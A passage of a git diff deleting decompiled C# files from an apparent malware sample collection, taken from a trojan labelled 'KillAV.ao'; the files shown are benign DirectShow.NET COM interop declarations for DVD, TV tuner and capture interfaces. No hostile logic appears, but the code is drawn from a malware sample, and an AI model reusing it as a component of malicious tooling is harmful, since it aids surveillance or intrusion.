DvdAudioAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetKaraokeAttributes(int ulStream, IntPtr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSubpictureAttributes(int ulStream, out DvdSubPicAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDVolumeInfo( - out int pulNumOfVolumes, - out int pulVolume, - out DvdDiscSide pSide, - out int pulNumOfTitles); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextNumberOfLanguages(out int pulNumOfLangs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextLanguageInfo( - int ulLangIndex, - out int pulNumOfStrings, - out int pLangCode, - out DvdCharSet pbCharacterSet); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextStringAsNative( - int ulLangIndex, - int ulStringIndex, - IntPtr pbBuffer, - int ulMaxBufferSize, - out int pulActualSize, - out int pType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextStringAsUnicode( - int ulLangIndex, - int ulStringIndex, - IntPtr pchwBuffer, - int ulMaxBufferSize, - out int pulActualSize, - out int pType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPlayerParentalLevel(out int pulParentalLevel, [Out] byte[] pbCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfChapters(int ulTitle, out int pulNumOfChapters); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTitleParentalLevels(int ulTitle, out int pulParentalLevels); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDDirectory(IntPtr pszwPath, int ulMaxSize, out int pulActualSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsAudioStreamEnabled(int ulStreamNum, [MarshalAs(UnmanagedType.Bool)] out bool pbEnabled); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDiscID([MarshalAs(UnmanagedType.LPWStr), In] string pszwPath, out long pullDiscID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(out IDvdState pStateData); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMenuLanguages([Out] int[] pLanguages, int ulMaxLanguages, out int pulActualLanguages); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetButtonAtPosition(DsPOINT point, out int pulButtonIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCmdFromEvent(int lParam1, out IDvdCmd pCmdObj); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultMenuLanguage(out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultAudioLanguage(out int pLanguage, out DvdAudioLangExt pAudioExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDefaultSubpictureLanguage(out int pLanguage, out DvdSubPicLangExt pSubpictureExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDecoderCaps(ref DvdDecoderCaps pCaps); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetButtonRect(int ulButton, out DsRECT pRect); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsSubpictureStreamEnabled(int ulStreamNum, [MarshalAs(UnmanagedType.Bool)] out bool pbEnabled); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdState.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdState.cs deleted file mode 100644 index 0fecd512..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/IDvdState.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdState -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(true)] - [Guid("86303d6d-1c4a-4087-ab42-f711167048ef")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdState - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDiscID(out long pullUniqueID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetParentalLevel(out int pulParentalLevel); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/OptIDvdCmd.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/OptIDvdCmd.cs deleted file mode 100644 index 88b70d51..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/OptIDvdCmd.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.OptIDvdCmd -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class OptIDvdCmd - { - public IDvdCmd dvdCmd; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterCategory.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterCategory.cs deleted file mode 100644 index e1127250..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterCategory.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FilterCategory -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FilterCategory - { - public static readonly Guid AudioInputDevice = new Guid(869902178U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid VideoInputDevice = new Guid(2248913680U, (ushort) 23809, (ushort) 4560, (byte) 189, (byte) 59, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid VideoCompressorCategory = new Guid(869902176U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid AudioCompressorCategory = new Guid(869902177U, (ushort) 37064, (ushort) 4560, (byte) 189, (byte) 67, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid LegacyAmFilterCategory = new Guid(137913329, (short) 28894, (short) 4560, (byte) 189, (byte) 64, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterInfo.cs deleted file mode 100644 index 72013db3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FilterInfo -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public class FilterInfo - { - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string achName; - [MarshalAs(UnmanagedType.IUnknown)] - public object pUnk; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FindDirection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FindDirection.cs deleted file mode 100644 index 1514fcb1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FindDirection.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FindDirection -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FindDirection - { - public static readonly Guid UpstreamOnly = new Guid(2893646816U, (ushort) 39139, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - public static readonly Guid DownstreamOnly = new Guid(2893646817U, (ushort) 39139, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FormatType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FormatType.cs deleted file mode 100644 index 52455b67..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FormatType.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.FormatType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class FormatType - { - public static readonly Guid None = new Guid(258217942U, (ushort) 49944, (ushort) 4560, (byte) 164, (byte) 63, (byte) 0, (byte) 160, (byte) 201, (byte) 34, (byte) 49, (byte) 150); - public static readonly Guid VideoInfo = new Guid(89694080U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid VideoInfo2 = new Guid(4146755232U, (ushort) 60170, (ushort) 4560, (byte) 172, (byte) 228, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - public static readonly Guid WaveEx = new Guid(89694081U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid MpegVideo = new Guid(89694082U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid MpegStreams = new Guid(89694083U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - public static readonly Guid DvInfo = new Guid(89694084U, (ushort) 50006, (ushort) 4558, (byte) 191, (byte) 1, (byte) 0, (byte) 170, (byte) 0, (byte) 85, (byte) 89, (byte) 90); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMAudioInputMixer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMAudioInputMixer.cs deleted file mode 100644 index ef95641f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMAudioInputMixer.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMAudioInputMixer -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("54C39221-8380-11d0-B3F0-00AA003761C5")] - [ComImport] - public interface IAMAudioInputMixer - { - int put_Enable([In] bool fEnable); - - int get_Enable(out bool pfEnable); - - int put_Mono([In] bool fMono); - - int get_Mono(out bool pfMono); - - int put_MixLevel([In] double Level); - - int get_MixLevel(out double pLevel); - - int put_Pan([In] double Pan); - - int get_Pan(out double pPan); - - int put_Loudness([In] bool fLoudness); - - int get_Loudness(out bool pfLoudness); - - int put_Treble([In] double Treble); - - int get_Treble(out double pTreble); - - int get_TrebleRange(out double pRange); - - int put_Bass([In] double Bass); - - int get_Bass(out double pBass); - - int get_BassRange(out double pRange); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCollection.cs deleted file mode 100644 index bb7935f2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCollection.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCollection -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComVisible(true)] - [Guid("56a868b9-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IAMCollection - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Count(out int plCount); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Item(int lItem, [MarshalAs(UnmanagedType.IUnknown)] out object ppUnk); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_NewEnum([MarshalAs(UnmanagedType.IUnknown)] out object ppUnk); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCopyCaptureFileProgress.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCopyCaptureFileProgress.cs deleted file mode 100644 index b240b620..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCopyCaptureFileProgress.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCopyCaptureFileProgress -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("670d1d20-a068-11d0-b3f0-00aa003761c5")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMCopyCaptureFileProgress - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Progress(int iProgress); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCrossbar.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCrossbar.cs deleted file mode 100644 index e2a4d444..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCrossbar.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMCrossbar -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("C6E13380-30AC-11d0-A18C-00A0C9118956")] - [ComImport] - public interface IAMCrossbar - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_PinCounts(out int OutputPinCount, out int InputPinCount); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanRoute([In] int OutputPinIndex, [In] int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Route([In] int OutputPinIndex, [In] int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_IsRoutedTo([In] int OutputPinIndex, out int InputPinIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CrossbarPinInfo( - [MarshalAs(UnmanagedType.Bool), In] bool IsInputPin, - [In] int PinIndex, - out int PinIndexRelated, - out PhysicalConnectorType PhysicalType); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMStreamConfig.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMStreamConfig.cs deleted file mode 100644 index 4bc72eb2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMStreamConfig.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMStreamConfig -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("C6E13340-30AC-11d0-A18C-00A0C9118956")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMStreamConfig - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFormat([MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFormat(out IntPtr pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfCapabilities(out int piCount, out int piSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetStreamCaps(int iIndex, out IntPtr pmt, [In] IntPtr pSCC); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTVTuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTVTuner.cs deleted file mode 100644 index c58d7ff1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTVTuner.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTVTuner -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("211A8766-03AC-11d1-8D13-00AA00BD8339")] - [ComImport] - public interface IAMTVTuner - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Channel( - int lChannel, - AMTunerSubChannel lVideoSubChannel, - AMTunerSubChannel lAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Channel(out int plChannel, out int plVideoSubChannel, out int plAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ChannelMinMax(out int lChannelMin, out int lChannelMax); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CountryCode(int lCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CountryCode(out int plCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_TuningSpace(int lTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TuningSpace(out int plTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logon(IntPtr hCurrentUser); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logout(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SignalPresent(out AMTunerSignalStrength plSignalStrength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Mode(AMTunerModeType lMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Mode(out AMTunerModeType plMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailableModes(out AMTunerModeType plModes); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RegisterNotificationCallBack(IAMTunerNotification pNotify, AMTunerEventType lEvents); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int UnRegisterNotificationCallBack(IAMTunerNotification pNotify); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AvailableTVFormats(out AnalogVideoStandard lAnalogVideoStandard); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TVFormat(out AnalogVideoStandard lAnalogVideoStandard); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AutoTune(int lChannel, out int plFoundSignal); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StoreAutoTune(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_NumInputConnections(out int plNumInputConnections); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_InputType(int lIndex, TunerInputType inputType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_InputType(int lIndex, out TunerInputType inputType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_ConnectInput(int lIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_ConnectInput(out int lIndex); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_VideoFrequency(out int lFreq); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AudioFrequency(out int lFreq); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTuner.cs deleted file mode 100644 index c8e93646..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTuner.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTuner -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("211A8761-03AC-11d1-8D13-00AA00BD8339")] - [ComImport] - public interface IAMTuner - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Channel( - int lChannel, - AMTunerSubChannel lVideoSubChannel, - AMTunerSubChannel lAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Channel(out int plChannel, out int plVideoSubChannel, out int plAudioSubChannel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ChannelMinMax(out int lChannelMin, out int lChannelMax); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_CountryCode(int lCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_CountryCode(out int plCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_TuningSpace(int lTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_TuningSpace(out int plTuningSpace); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logon(IntPtr hCurrentUser); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Logout(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SignalPresent(out AMTunerSignalStrength plSignalStrength); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Mode(AMTunerModeType lMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Mode(out AMTunerModeType plMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAvailableModes(out AMTunerModeType plModes); - - 